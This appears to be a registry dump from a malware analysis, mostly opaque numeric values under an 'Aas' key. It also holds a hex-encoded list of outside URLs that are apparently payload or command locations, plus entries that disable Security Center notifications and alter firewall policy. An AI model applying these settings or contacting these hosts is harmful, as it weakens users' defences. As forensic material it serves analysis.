"43014726" = "0800687474703A2F2F636F6C697365752E6E65742F626F74746F6D2E67696600687474703A2F2F726164696F657870657274666D2E636F6D2F626F74746F6D2E67696600687474703A2F2F7777772E6E616E6774686F6E676261797265736F72742E64652F626F74746F6D2E67696600687474703A2F2F7777772E61727469706C6578692E636F6D2F626F74746F6D2E67696600687474703A2F2F656D7072657361732D636D2E636F6D2F696D6167652E67696600687474703A2F2F766164697675646169616D6D616E7472616E73706F7274732E636F6D2F696D616765732F626F74746F6D2E67696600687474703A2F2F746174746F6F696E696E6469612E636F6D2F696D6167652E67696600687474703A2F2F636761636C61676F73617265612E6F72672F696D672F626F74746F6D2E676966"

[HKCU\Software\Aas]
"a4_269" = "1928493549"
"a4_268" = "1921324428"
"a4_461" = "3304964781"
"a4_460" = "3297795660"
"a4_463" = "3319303023"
"a4_462" = "3312133902"
"a4_465" = "3333641265"
"a4_464" = "3326472144"
"a4_467" = "3347979507"
"a4_466" = "3340810386"
"a4_469" = "3362317749"
"a4_468" = "3355148628"
"a4_897" = "2135734241"
"a4_898" = "2142903362"
"a4_899" = "2150072483"
"a2_560" = "4014705609"
"a4_319" = "2286949599"
"a4_318" = "2279780478"
"a1_840" = "1847541535"
"a4_313" = "2243934873"
"a4_312" = "2236765752"
"a4_311" = "2229596631"
"a4_310" = "2222427510"
"a4_317" = "2272611357"
"a4_316" = "2265442236"
"a4_315" = "2258273115"
"a4_314" = "2251103994"

"a3_130" = "915379051"
"a1_923" = "121801972"
"a3_131" = "922302346"
"a3_132" = "962897965"
"a2_880" = "2013861655"
"a1_107" = "172470777"
"a1_106" = "4177413891"
"a1_105" = "260522610"
"a1_104" = "535477566"
"a1_103" = "190511029"
"a1_102" = "3060413720"
"a1_101" = "2134162952"
"a1_100" = "3174186030"
"a3_134" = "943841519"
"a1_109" = "1031433828"
"a1_62" = "293757223"
"a1_61" = "464425057"
"a3_137" = "998890944"
"a2_883" = "2035359577"
"a3_686" = "606179783"
"a2_489" = "3505694166"
"a2_488" = "3498525142"
"a3_687" = "613616230"
"a2_485" = "3477025123"
"a2_484" = "3469857435"
"a2_487" = "3491359171"
"a2_486" = "3484201739"
"a2_481" = "3448355180"
"a2_480" = "3441175863"
"a2_483" = "3462692564"
"a2_482" = "3455507199"
"a3_974" = "2704311079"
"a3_685" = "632749476"
"a3_975" = "2711758662"
"a2_882" = "2028195093"
"a3_976" = "2685262841"
"a2_809" = "1504848266"
"a2_808" = "1497690617"
"a4_721" = "873968945"
"a3_680" = "596757377"
"a2_801" = "1447507789"
"a2_800" = "1440329785"
"a2_803" = "1461832403"
"a3_681" = "570649632"
"a2_805" = "1476178121"
"a2_804" = "1469010823"
"a2_807" = "1490505036"
"a2_806" = "1483346579"
"a3_145" = "1022800088"
"a3_972" = "2656717413"
"a3_144" = "1015749817"
"a2_885" = "2049711416"
"a3_973" = "2663771780"
"a3_147" = "1070844314"
"a2_661" = "443824430"
"a2_660" = "436654860"
"a2_663" = "458157532"
"a3_146" = "1063277947"
"a2_665" = "472491874"
"a2_664" = "465337938"
"a2_667" = "486845802"
"a2_666" = "479659629"
"a2_669" = "501174268"
"a3_141" = "1027810116"
"a3_140" = "986812197"
"a2_881" = "2021020241"
"a3_143" = "1008236550"
"a2_249" = "1785118686"
"a2_248" = "1777934893"
"a2_247" = "1770767182"
"a2_246" = "1763601376"
"a2_245" = "1756432257"
"a2_244" = "1749267796"
"a2_243" = "1742105536"
"a2_242" = "1734918933"
"a2_241" = "1727751979"
"a2_240" = "1720582415"
"a1_356" = "3529970834"
"a1_357" = "1959976732"
"a1_354" = "838128352"
"a1_355" = "3395329709"
"a1_352" = "3490653659"
"a1_353" = "3108953327"
"a1_350" = "1472816726"
"a1_351" = "1840151460"
"a2_855" = "1834624002"
"a3_639" = "269411382"
"a1_358" = "372211455"
"a1_359" = "1031242570"
"a3_638" = "295912343"
"a2_887" = "2064045165"
"a2_886" = "2056878825"
"a3_795" = "1387647762"
"a3_718" = "869065255"
"a3_719" = "843023942"
"a3_714" = "807050403"
"a3_715" = "813969602"
"a3_716" = "821548389"
"a3_717" = "862013828"
"a3_710" = "778506031"
"a3_711" = "785556302"
"a3_712" = "826034145"
"a3_713" = "833615872"
"a2_820" = "1583714312"
"a2_119" = "853130460"
"a2_118" = "845963172"
"a4_869" = "1934998853"
"a4_868" = "1927829732"
"a2_113" = "810112262"
"a2_112" = "802946936"
"a2_111" = "795778315"
"a2_110" = "788609970"
"a2_117" = "838793678"
"a2_116" = "831612746"
"a2_115" = "824445091"
"a2_114" = "817276621"
"a3_534" = "3844868223"
"a3_535" = "3852446878"
"a3_536" = "3825811761"
"a3_537" = "3832866128"
"a3_530" = "3816471291"
"a3_531" = "3823394586"
"a3_532" = "3797414845"
"a3_533" = "3804403676"
"a3_538" = "3840383475"
"a3_539" = "3880858130"
"a2_813" = "1533537735"
"a3_152" = "1106310065"
"a3_153" = "1080268752"
"a3_150" = "1092336383"
"a3_151" = "1099259678"
"a3_156" = "1135231285"
"a3_157" = "1108731220"
"a3_154" = "1087178867"
"a3_155" = "1127787666"
"a3_628" = "223959005"
"a3_629" = "231000188"
"a3_158" = "1115724279"
"a3_159" = "1123168790"
"a2_59" = "422982927"
"a2_58" = "415802464"
"a2_53" = "379972408"
"a2_52" = "372801215"
"a2_51" = "365618236"
"a2_50" = "358450819"
"a2_57" = "408648142"
"a2_56" = "401467631"
"a2_55" = "394301272"
"a2_54" = "387124728"
"a4_842" = "1741432586"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Aas]
"a4_55" = "394301655"
"a4_54" = "387132534"
"a4_57" = "408639897"
"a4_56" = "401470776"
"a4_51" = "365625171"
"a4_50" = "358456050"
"a4_53" = "379963413"
"a4_52" = "372794292"
"a3_440" = "3171413137"
"a3_441" = "3178398000"
"a3_442" = "3185321299"
"a3_443" = "3159349746"
"a4_59" = "422978139"
"a4_58" = "415809018"
"a3_446" = "3214379735"
"a3_447" = "3187748726"
"a1_644" = "85860806"
"a1_645" = "943266098"
"a1_646" = "1275161247"
"a1_647" = "778429078"
"a1_640" = "2031478145"
"a1_641" = "1260138380"
"a1_642" = "2542554149"
"a1_643" = "3717439469"
"a1_648" = "1009101878"
"a1_649" = "726872153"

[HKCU\Software\Aas\695404737]
"21507363" = "0"

[HKCU\Software\Aas]
"a2_953" = "2537196976"
"a3_459" = "3307312066"
"a3_458" = "3266772899"
"a4_784" = "1325623568"
"a4_785" = "1332792689"
"a4_786" = "1339961810"
"a4_787" = "1347130931"
"a4_780" = "1296947084"
"a4_781" = "1304116205"
"a4_782" = "1311285326"
"a4_783" = "1318454447"
"a1_828" = "1654895203"
"a1_829" = "2084059969"
"a4_788" = "1354300052"
"a3_451" = "3249847498"
"a4_670" = "508343774"
"a4_671" = "515512895"
"a4_672" = "522682016"
"a3_450" = "3242793131"
"a4_674" = "537020258"
"a4_675" = "544189379"
"a4_676" = "551358500"
"a4_677" = "558527621"
"a4_678" = "565696742"
"a1_604" = "2572639365"
"a1_916" = "987201883"
"a1_917" = "1728883244"
"a1_910" = "153610731"
"a1_911" = "2351596148"
"a1_912" = "1224496363"
"a1_913" = "2166179551"
"a3_844" = "1772455397"
"a3_845" = "1746353668"
"a3_846" = "1753404071"
"a3_847" = "1760327366"
"a3_840" = "1743926369"
"a3_841" = "1717414016"
"a3_842" = "1724861731"
"a3_843" = "1765466434"
"a3_848" = "1801448313"
"a3_849" = "1808437144"
"a3_702" = "721038295"
"a4_874" = "1970844458"
"a1_654" = "2838306199"
"a4_961" = "2594557985"
"a4_414" = "2968016094"
"a4_415" = "2975185215"
"a4_416" = "2982354336"
"a4_417" = "2989523457"
"a4_410" = "2939339610"
"a4_411" = "2946508731"
"a4_412" = "2953677852"
"a4_413" = "2960846973"
"a4_418" = "2996692578"
"a4_419" = "3003861699"
"a3_806" = "1500078927"
"a3_807" = "1507067886"
"a1_138" = "40193042"
"a1_139" = "3020761307"
"a3_907" = "2190592386"
"a1_132" = "865484371"
"a1_133" = "149293790"
"a1_130" = "3210990875"
"a1_131" = "209002904"
"a1_136" = "3905041350"
"a1_137" = "614817463"
"a1_134" = "3339434984"
"a1_135" = "3477706314"
"a3_768" = "1227770153"
"a4_328" = "2351471688"
"a4_329" = "2358640809"
"a4_326" = "2337133446"
"a4_327" = "2344302567"
"a4_324" = "2322795204"
"a4_325" = "2329964325"
"a4_322" = "2308456962"
"a4_323" = "2315626083"
"a4_320" = "2294118720"
"a4_321" = "2301287841"
"a4_528" = "3785295888"
"a4_529" = "3792465009"
"a4_258" = "1849633218"
"a4_259" = "1856802339"
"a4_252" = "1806618492"
"a4_253" = "1813787613"
"a4_250" = "1792280250"
"a4_251" = "1799449371"
"a4_256" = "1835294976"
"a4_257" = "1842464097"
"a4_254" = "1820956734"
"a4_255" = "1828125855"
"a3_909" = "2238580292"
"a2_470" = "3369489360"
"a2_471" = "3376657428"
"a2_472" = "3383833992"
"a2_473" = "3390991694"
"a2_474" = "3398159533"
"a2_475" = "3405326558"
"a2_476" = "3412504993"
"a2_477" = "3419673603"
"a2_478" = "3426841842"
"a2_479" = "3434017454"
"a4_880" = "2013859184"
"a3_908" = "2231591461"
"a1_797" = "1627799363"
"a2_878" = "1999524137"
"a2_879" = "2006695368"
"a2_874" = "1970843237"
"a2_875" = "1978011346"
"a2_876" = "1985178755"
"a2_877" = "1992358634"
"a2_870" = "1942175373"
"a2_871" = "1949343280"
"a2_872" = "1956511187"
"a2_873" = "1963683300"
"a1_349" = "885211895"
"a1_348" = "31767468"
"a2_586" = "4201110354"
"a2_587" = "4208265448"
"a2_580" = "4158091875"
"a2_581" = "4165267496"
"a2_582" = "4172427129"
"a2_583" = "4179592460"
"a1_341" = "4091180366"
"a1_340" = "2677407643"
"a1_343" = "861644975"
"a1_342" = "2967288014"
"a1_345" = "4129655746"
"a1_344" = "2768051724"
"a1_347" = "3340530990"
"a1_346" = "4002966369"
"a2_614" = "106878846"
"a2_615" = "114034483"
"a2_616" = "121213408"
"a2_617" = "128372606"
"a2_610" = "78198456"
"a2_611" = "85363126"
"a2_612" = "92532350"
"a2_613" = "99699655"
"a2_618" = "135547763"
"a2_619" = "142715859"
"a2_272" = "1950003866"
"a2_273" = "1957174390"
"a2_270" = "1935655833"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UpdatesDisableNotify" = "1"

[HKCU\Software\Aas]
"a2_276" = "1978673695"
"a2_277" = "1985840670"
"a2_274" = "1964341023"
"a2_275" = "1971505928"
"a2_908" = "2214597672"
"a2_909" = "2221755632"
"a2_278" = "1993024668"
"a2_279" = "2000189568"
"a1_842" = "3821617444"
"a2_298" = "2136406749"
"a2_299" = "2143559270"
"a1_841" = "3633604592"
"a2_290" = "2079043101"
"a2_291" = "2086208148"
"a2_292" = "2093374318"
"a2_293" = "2100558524"
"a2_294" = "2107728954"
"a2_295" = "2114893052"
"a2_296" = "2122059773"
"a2_297" = "2129224110"
"a2_728" = "924148799"
"a2_729" = "931319070"
"a2_720" = "866808113"
"a2_721" = "873966270"
"a2_722" = "881135388"
"a2_723" = "888302109"
"a2_724" = "895480857"
"a2_725" = "902652626"
"a2_726" = "909816525"
"a2_727" = "916991766"
"a1_594" = "199202734"
"a4_450" = "3226104450"
"a3_791" = "1392659870"
"a3_709" = "804547212"
"a4_451" = "3233273571"
"a3_707" = "790584778"
"a3_706" = "749582763"
"a3_705" = "742524168"
"a3_704" = "769089769"
"a3_703" = "761646198"
"a4_452" = "3240442692"
"a3_701" = "713602996"
"a3_700" = "706548501"
"a4_890" = "2085550394"
"a4_891" = "2092719515"
"a4_892" = "2099888636"
"a4_453" = "3247611813"
"a4_894" = "2114226878"
"a4_895" = "2121395999"
"a2_128" = "917644619"
"a2_129" = "924825050"
"a2_126" = "903311891"
"a2_127" = "910485973"
"a2_124" = "888963557"
"a2_125" = "896146801"
"a2_122" = "874630946"
"a2_123" = "881794749"
"a2_120" = "860296853"
"a2_121" = "867460826"
"a3_35" = "267899754"
"a3_526" = "3787937127"
"a3_525" = "3780489412"
"a3_524" = "3739884709"
"a3_523" = "3732895746"
"a4_456" = "3269119176"
"a3_521" = "3751945024"
"a3_520" = "3744501537"
"a2_824" = "1612382240"
"a4_457" = "3276288297"
"a3_529" = "3809412696"
"a3_528" = "3768345145"
"a1_12" = "203228927"
"a1_13" = "4285522621"
"a1_10" = "4102467260"
"a1_11" = "2869167942"
"a1_16" = "2378949538"
"a1_17" = "3992093224"
"a1_14" = "1198570271"
"a1_15" = "2199948281"
"a1_18" = "2242751740"
"a1_19" = "962430714"
"a3_149" = "1051199068"
"a3_148" = "1044210237"
"a2_896" = "2128563597"
"a2_48" = "344125719"
"a2_49" = "351283470"
"a1_846" = "136844753"
"a2_40" = "286765823"
"a2_41" = "293930723"
"a2_42" = "301075985"
"a2_43" = "308266458"
"a2_44" = "315450726"
"a2_45" = "322616930"
"a2_46" = "329782067"
"a2_47" = "336951023"
"a2_897" = "2135728398"
"a4_42" = "301103082"
"a4_43" = "308272203"
"a4_40" = "286764840"
"a4_41" = "293933961"
"a4_46" = "329779566"
"a4_47" = "336948687"
"a4_44" = "315441324"
"a4_45" = "322610445"
"a3_453" = "3230791052"
"a3_452" = "3223736685"
"a4_48" = "344117808"
"a4_49" = "351286929"
"a3_457" = "3259718400"
"a3_456" = "3285821153"
"a3_455" = "3278766670"
"a3_454" = "3271781935"
"a1_657" = "121312424"
"a1_656" = "3218834258"
"a1_655" = "1967242607"
"a1_632" = "1744417603"
"a1_653" = "1856009018"
"a1_652" = "2952767282"
"a1_651" = "763775486"
"a1_650" = "4243493368"
"a3_796" = "1428649909"
"a1_659" = "809563242"
"a1_658" = "2111647343"
"a3_797" = "1435691988"
"a3_18" = "112354555"
"a3_19" = "152901914"
"a3_14" = "83367783"
"a3_15" = "124488582"
"a3_16" = "131411001"
"a3_17" = "104906840"
"a3_10" = "88506851"
"a3_11" = "95435266"
"a3_12" = "69459621"
"a3_13" = "76378820"
"a3_240" = "1737322713"
"a4_886" = "2056873910"
"a3_793" = "1406704208"
"a3_809" = "1488018592"
"a3_798" = "1442679927"
"a3_799" = "1416568982"
"a3_248" = "1761236945"
"a2_172" = "1233086403"
"a4_797" = "1418822141"
"a4_796" = "1411653020"
"a4_795" = "1404483899"
"a4_794" = "1397314778"
"a4_793" = "1390145657"
"a4_792" = "1382976536"
"a4_791" = "1375807415"
"a4_790" = "1368638294"
"a1_839" = "2425718492"
"a1_838" = "4124844507"
"a4_799" = "1433160383"
"a4_798" = "1425991262"
"a4_663" = "458159927"
"a4_662" = "450990806"
"a4_661" = "443821685"
"a4_660" = "436652564"
"a4_667" = "486836411"
"a4_666" = "479667290"
"a4_665" = "472498169"
"a4_664" = "465329048"
"a1_907" = "895767063"
"a1_906" = "1278281630"
"a4_669" = "501174653"
"a4_668" = "494005532"
"a1_903" = "2554457243"
"a1_902" = "3471324827"
"a1_901" = "3830956651"
"a1_900" = "4163835824"
"a3_857" = "1865835152"
"a3_856" = "1824837233"
"a3_855" = "1817794014"
"a3_854" = "1844425151"
"a3_853" = "1836850460"
"a3_852" = "1829861629"
"a3_851" = "1789379674"
"a3_850" = "1781801019"
"a1_635" = "4204695371"
"a4_949" = "2508528533"
"a3_859" = "1846328146"
"a3_858" = "1872824115"
"a1_734" = "2351367013"
"a2_644" = "321951930"
"a4_976" = "2702094800"
"a4_454" = "3254780934"
"a1_524" = "1464027346"

"a4_407" = "2917832247"
"a4_406" = "2910663126"
"a4_405" = "2903494005"
"a4_404" = "2896324884"
"a4_403" = "2889155763"
"a4_402" = "2881986642"
"a4_401" = "2874817521"
"a4_400" = "2867648400"
"a1_825" = "3473618217"
"a1_879" = "2313153622"
"a3_640" = "276404393"
"a4_409" = "2932170489"
"a4_408" = "2925001368"
"a3_641" = "283851976"
"a3_646" = "352855791"
"a3_647" = "360438542"
"a4_789" = "1361469173"
"a1_129" = "239460540"
"a1_128" = "2504427486"
"a1_125" = "4271146881"
"a1_124" = "1642747526"
"a1_127" = "1256214593"
"a1_126" = "39139310"
"a1_121" = "2223410573"
"a1_120" = "443687346"
"a1_123" = "4073196769"
"a1_122" = "2251909252"
"a4_331" = "2372979051"
"a4_330" = "2365809930"
"a4_333" = "2387317293"
"a4_332" = "2380148172"
"a4_335" = "2401655535"
"a4_334" = "2394486414"
"a4_337" = "2415993777"
"a4_336" = "2408824656"
"a4_339" = "2430332019"
"a4_338" = "2423162898"
"a1_833" = "205640730"
"a4_539" = "3864156219"
"a4_538" = "3856987098"
"a4_249" = "1785111129"
"a4_248" = "1777942008"
"a1_832" = "448031775"
"a4_245" = "1756434645"
"a4_244" = "1749265524"
"a4_247" = "1770772887"
"a4_246" = "1763603766"
"a4_241" = "1727758161"
"a4_240" = "1720589040"
"a4_243" = "1742096403"
"a4_242" = "1734927282"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Aas]
"a1_830" = "1074498061"
"a1_837" = "1723888879"
"a1_836" = "745042857"
"a1_835" = "3964641101"
"a1_754" = "1873932044"
"a4_993" = "2823969857"
"a1_834" = "2184901822"
"a1_634" = "2401423748"
"a2_463" = "3319304568"
"a2_462" = "3312138573"
"a2_461" = "3304974183"
"a2_460" = "3297789910"
"a2_467" = "3347972784"
"a2_466" = "3340807908"
"a2_465" = "3333638165"
"a2_464" = "3326473751"
"a2_469" = "3362323429"
"a2_468" = "3355156471"
"a1_934" = "2195706075"
"a4_802" = "1454667746"
"a4_872" = "1956506216"
"a2_869" = "1934989455"
"a2_868" = "1927824939"
"a2_867" = "1920655849"
"a2_866" = "1913491109"
"a2_865" = "1906324818"
"a2_864" = "1899158103"
"a2_863" = "1891976049"
"a1_791" = "3893969132"
"a2_861" = "1877653525"
"a2_860" = "1870468175"
"a2_597" = "4279962490"
"a2_596" = "4272788217"
"a2_595" = "4265630676"
"a2_594" = "4258463249"
"a1_338" = "2656709164"
"a1_339" = "2359977788"
"a2_591" = "4236944520"
"a2_590" = "4229775416"
"a1_334" = "3901090254"
"a1_335" = "1738648241"
"a1_336" = "421250823"
"a1_337" = "3758791400"
"a1_330" = "260884836"
"a1_331" = "4132079154"
"a1_332" = "3210931586"
"a1_333" = "2541799523"
"a2_607" = "56695958"
"a2_606" = "49513422"
"a3_30" = "231909751"
"a2_604" = "35179777"
"a1_64" = "3498252087"
"a2_602" = "20852535"
"a2_601" = "13679060"
"a2_600" = "6512445"
"a4_875" = "1978013579"
"a2_609" = "71032747"
"a2_608" = "63864223"
"a2_265" = "1899820601"
"a2_264" = "1892655026"
"a2_267" = "1914153293"
"a2_266" = "1906987477"
"a2_261" = "1871138576"
"a2_260" = "1863969147"
"a2_263" = "1885473128"
"a2_262" = "1878303577"
"a2_919" = "2293449540"
"a1_908" = "1071248464"
"a2_269" = "1928490499"
"a2_268" = "1921320711"
"a1_905" = "3362598286"
"a2_884" = "2042543790"
"a1_482" = "3510708731"
"a1_483" = "2830220989"
"a2_289" = "2071884368"
"a2_288" = "2064698868"
"a1_486" = "3381474652"
"a1_487" = "555891261"
"a1_484" = "2339353656"
"a1_485" = "4202320296"
"a2_283" = "2028859324"
"a2_282" = "2021689965"
"a2_281" = "2014523592"
"a2_280" = "2007359443"
"a2_287" = "2057543125"
"a2_286" = "2050372393"
"a2_285" = "2043192596"
"a2_284" = "2036039610"
"a2_739" = "1003019711"
"a2_738" = "995837567"
"a3_522" = "3725445091"
"a2_733" = "960000522"
"a2_732" = "952835023"
"a2_731" = "945667100"
"a2_730" = "938486162"
"a2_737" = "988669522"
"a2_736" = "981503228"
"a2_735" = "974328812"
"a2_734" = "967175481"
"a4_446" = "3197427966"
"a1_637" = "3037200901"
"a3_912" = "2226582457"
"a1_240" = "3538288716"
"a1_241" = "3852805482"
"a1_242" = "2850437858"
"a1_243" = "2274200642"
"a1_244" = "2645251261"
"a1_245" = "1341745288"
"a1_246" = "2616083040"
"a1_247" = "963378126"
"a1_248" = "63685036"
"a1_249" = "645581580"
"a3_738" = "978859403"
"a3_739" = "986426922"
"a4_445" = "3190258845"
"a2_131" = "939163236"
"a2_130" = "931979480"
"a2_133" = "953499034"
"a2_132" = "946331233"
"a2_135" = "967832358"
"a2_134" = "960664188"
"a2_137" = "982167393"
"a2_136" = "974999171"
"a2_139" = "996515055"
"a2_138" = "989331515"
"a4_889" = "2078381273"
"a4_888" = "2071212152"
"a2_79" = "566354828"
"a2_78" = "559189217"
"a3_916" = "2254979389"
"a3_288" = "2048100105"
"a3_289" = "2055027624"
"a3_184" = "1336102801"
"a3_917" = "2262558044"
"a3_282" = "2038692083"
"a3_283" = "2045680914"
"a3_280" = "1990631473"
"a3_281" = "2031109200"
"a3_286" = "2067091063"
"a3_287" = "2074141334"
"a3_284" = "2019045813"
"a3_285" = "2026624468"
"a3_606" = "66123703"
"a3_607" = "40004566"
"a3_604" = "52150005"
"a3_605" = "59069204"
"a3_602" = "4023859"
"a3_603" = "11016786"
"a3_600" = "23079281"
"a3_601" = "30657936"
"a4_700" = "723417404"
"a3_608" = "46992457"
"a3_609" = "87597288"
"a1_796" = "3616260140"
"a1_583" = "2000610472"
"a1_794" = "4074999183"
"a1_795" = "714133860"
"a1_792" = "3583989456"
"a1_793" = "3109885868"
"a1_790" = "885512451"
"a1_582" = "3424105541"
"a3_635" = "240424626"
"a3_911" = "2219532038"
"a1_581" = "2951847016"
"a1_798" = "213685507"
"a1_799" = "3751976081"
"a1_580" = "4186446489"
"a3_198" = "1436076335"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKCU\Software\Aas]
"a3_196" = "1388556397"
"a3_197" = "1429034124"
"a3_194" = "1407548331"
"a3_195" = "1380982730"
"a3_192" = "1393042153"
"a3_193" = "1400620808"
"a3_190" = "1345525207"
"a3_191" = "1352568438"
"a2_981" = "2737946390"
"a1_585" = "1389930775"
"a3_468" = "3338201981"
"a3_469" = "3379269532"
"a3_466" = "3324236475"
"a3_467" = "3331159770"
"a3_464" = "3343287801"
"a3_465" = "3350216216"
"a3_462" = "3295169831"
"a3_463" = "3302744390"
"a3_460" = "3314758757"
"a3_461" = "3321800836"
"a1_468" = "824853295"
"a1_469" = "1760212455"
"a3_518" = "3696916079"
"a3_519" = "3703958158"
"a1_460" = "1370906642"
"a1_461" = "1910358272"
"a1_462" = "4257046371"
"a1_463" = "1766540849"
"a1_464" = "3655888261"
"a1_465" = "696715769"
"a1_466" = "1586393314"
"a1_467" = "1635017637"
"a3_29" = "224867540"
"a3_28" = "183865525"
"a1_668" = "2991387730"
"a1_669" = "4143637566"
"a3_21" = "167399900"
"a3_20" = "159956413"
"a3_23" = "148336286"
"a3_22" = "140888703"
"a3_25" = "195929936"
"a3_24" = "188875569"
"a3_27" = "176880658"
"a3_26" = "169827315"
"a3_996" = "2828657485"
"a2_830" = "1655396017"
"a3_994" = "2847713931"
"a3_995" = "2821607210"
"a3_992" = "2800197065"
"a3_499" = "3560555322"
"a3_990" = "2785625399"
"a2_831" = "1662570264"
"a3_498" = "3587059355"
"a2_832" = "1669734711"
"a3_998" = "2876651535"
"a3_497" = "3579611768"
"a2_833" = "1676903809"
"a3_496" = "3539014105"
"a2_834" = "1684085773"
"a3_495" = "3532029350"
"a2_835" = "1691240500"
"a4_955" = "2551543259"
"a3_494" = "3524581639"
"a2_836" = "1698426483"
"a3_493" = "3551077604"
"a2_837" = "1705585879"
"a3_492" = "3544154181"
"a3_491" = "3503090722"
"a3_527" = "3761424774"
"a3_490" = "3496037251"
"a3_775" = "1244236686"
"a4_915" = "2264778419"
"a3_868" = "1944793805"
"a2_529" = "3792466395"
"a4_914" = "2257609298"
"a3_862" = "1901368503"
"a3_863" = "1908803798"
"a3_860" = "1853775861"
"a3_861" = "1860825108"
"a3_866" = "1930361355"
"a3_867" = "1937350314"
"a3_864" = "1882303817"
"a3_865" = "1889747432"
"a1_806" = "1318172991"
"a1_807" = "1141291899"
"a1_804" = "978401017"
"a1_805" = "333887675"
"a1_802" = "827852222"
"a1_803" = "792361878"
"a1_800" = "2001063510"
"a1_801" = "2080597755"
"a1_808" = "659337830"
"a1_809" = "2176668869"
"a4_656" = "407976080"
"a4_657" = "415145201"
"a4_654" = "393637838"
"a4_655" = "400806959"
"a4_652" = "379299596"
"a4_653" = "386468717"
"a4_650" = "364961354"
"a4_651" = "372130475"
"a1_938" = "1797530655"
"a1_939" = "587781892"
"a4_658" = "422314322"
"a4_659" = "429483443"
"a3_773" = "1263760076"
"a4_849" = "1791616433"
"a4_919" = "2293454903"
"a4_918" = "2286285782"
"a2_656" = "407967943"
"a1_875" = "1883435402"
"a4_925" = "2336469629"
"a3_762" = "1151312531"
"a1_684" = "4198934133"
"a4_989" = "2795293373"
"a4_438" = "3140074998"
"a4_439" = "3147244119"
"a1_874" = "2478675315"
"a4_432" = "3097060272"
"a4_433" = "3104229393"
"a4_430" = "3082722030"
"a4_431" = "3089891151"
"a4_436" = "3125736756"
"a4_437" = "3132905877"
"a4_434" = "3111398514"
"a4_435" = "3118567635"
"a3_928" = "2374546825"
"a4_344" = "2466177624"
"a4_345" = "2473346745"
"a4_346" = "2480515866"
"a4_347" = "2487684987"
"a4_340" = "2437501140"
"a4_341" = "2444670261"
"a4_342" = "2451839382"
"a4_343" = "2459008503"
"a3_764" = "1198848853"
"a4_348" = "2494854108"
"a4_349" = "2502023229"
"a4_508" = "3641913468"
"a4_509" = "3649082589"
"a4_506" = "3627575226"
"a4_507" = "3634744347"
"a4_504" = "3613236984"
"a4_505" = "3620406105"
"a4_502" = "3598898742"
"a4_503" = "3606067863"
"a4_500" = "3584560500"
"a4_501" = "3591729621"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Aas]
"a3_383" = "2729068342"
"a3_382" = "2721620631"
"a4_882" = "2028197426"
"a3_381" = "2748124788"
"a2_456" = "3269121835"
"a2_457" = "3276287386"
"a2_454" = "3254787281"
"a3_380" = "2741212629"
"a2_452" = "3240434527"
"a2_453" = "3247620095"
"a2_450" = "3226096341"
"a2_451" = "3233267917"
"a3_387" = "2757612682"
"a3_633" = "259938800"
"a2_458" = "3283454938"
"a3_386" = "2784112747"
"a3_385" = "2776670152"
"a4_881" = "2021028305"
"a3_384" = "2769681321"
"a1_735" = "3347775847"
"a2_852" = "1813121323"
"a1_730" = "985287107"
"a2_850" = "1798788341"
"a2_851" = "1805945785"
"a2_856" = "1841803655"
"a2_857" = "1848974051"
"a2_854" = "1827455205"
"a1_731" = "1882169413"
"a3_632" = "252486993"
"a2_858" = "1856139779"
"a2_859" = "1863306802"
"a1_732" = "1808426536"
"a1_733" = "1286299107"
"a1_329" = "3557073142"
"a1_328" = "2716525855"
"a1_327" = "83051865"
"a1_326" = "2868591186"
"a1_325" = "1086560923"
"a1_324" = "3230256250"
"a1_323" = "3557358295"
"a1_322" = "3289918036"
"a1_321" = "3870484989"
"a1_320" = "2072622334"
"a2_650" = "364953859"
"a1_436" = "2642361738"
"a1_736" = "2719074703"
"a3_631" = "211878206"
"a1_737" = "1916874520"
"a2_652" = "379304702"
"a3_923" = "2339079058"
"a2_926" = "2343645972"
"a2_927" = "2350801447"
"a2_924" = "2329303227"
"a2_653" = "386473428"
"a4_887" = "2064043031"
"a2_923" = "2322133147"
"a2_920" = "2300619679"
"a2_921" = "2307800194"
"a2_654" = "393639272"
"a2_928" = "2357969392"
"a2_655" = "400804723"
"a3_630" = "204893343"
"a2_657" = "415140750"
"a3_922" = "2298015603"
"a1_495" = "3224079570"
"a1_494" = "2626144891"
"a1_497" = "2194341612"
"a1_496" = "1191672762"
"a1_491" = "367116614"
"a1_490" = "473894643"
"a1_493" = "2918182331"
"a1_492" = "2542476240"
"a1_499" = "1590087750"
"a1_498" = "2124659835"
"a3_637" = "288468852"
"a2_708" = "780764508"
"a2_709" = "787945190"
"a2_706" = "766428507"
"a2_707" = "773595460"
"a2_704" = "752102107"
"a2_705" = "759263666"
"a2_702" = "737763753"
"a2_703" = "744928232"
"a2_700" = "723411927"
"a2_701" = "730579694"
"a4_885" = "2049704789"
"a2_638" = "278924492"
"a2_639" = "286108778"
"a3_808" = "1481095169"
"a2_632" = "235924318"
"a2_633" = "243084254"
"a2_630" = "221586372"
"a2_631" = "228750785"
"a2_636" = "264600943"
"a2_637" = "271768454"
"a2_634" = "250250858"
"a2_635" = "257417396"
"a1_253" = "3878932"
"a1_252" = "2160066130"
"a1_251" = "2172330656"
"a1_250" = "3037257990"
"a1_257" = "3163317516"
"a1_256" = "2093779156"
"a1_255" = "2023335510"
"a1_254" = "3761083230"
"a3_920" = "2284050097"
"a1_259" = "738319228"
"a1_258" = "3607586684"
"a3_729" = "914469392"
"a3_728" = "907418097"
"a4_884" = "2042535668"
"a2_144" = "1032347991"
"a2_145" = "1039517271"
"a2_146" = "1046683819"
"a2_147" = "1053867545"
"a2_140" = "1003680491"
"a2_141" = "1010854464"
"a2_142" = "1018018610"
"a2_143" = "1025181772"
"a1_781" = "339293682"
"a1_780" = "422644274"
"a2_68" = "487491987"
"a2_69" = "494671955"
"a2_148" = "1061035831"
"a2_149" = "1068200415"
"a1_787" = "1256572409"
"a4_455" = "3261950055"
"a3_299" = "2126993250"
"a3_298" = "2119545539"
"a3_295" = "2131608046"
"a3_294" = "2091003215"
"a3_297" = "2146049696"
"a3_296" = "2139060737"
"a3_291" = "2103079018"
"a3_290" = "2062081995"
"a3_293" = "2083555628"
